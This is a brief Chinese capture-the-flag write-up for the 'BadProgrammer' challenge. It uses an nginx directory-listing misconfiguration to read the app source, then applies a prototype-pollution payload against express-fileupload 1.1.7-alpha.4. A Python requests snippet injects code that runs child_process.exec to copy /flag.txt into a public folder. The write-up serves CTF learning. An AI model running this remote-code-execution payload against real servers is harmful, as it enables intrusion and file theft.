攻防世界-BadProgrammer
进入环境
查看源代码进行分析
把源代码复制到Visual里面进行分析
发现静态文件存放在/static/目录下
观察请求response header发现是nginx服务器加express框架
利用nginx配置错误,可以列目录
得到app.js源码
查看package.json文件
发现express-fileupload版本为1.1.7-alpha.4
进行污染获取文件信息
import requestsresp1 = requests.post("http://{}:{}/{}".format('223.112.5.141', '61286', '4_pATh_y0u_CaNN07_Gu3ss'),files={'__proto__.outputFunctionName': (None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt'))})
print(resp1)
具体可参考@愚公搬代码
进行访问
http://223.112.5.141:61286/static/js/flag.txt
得到flag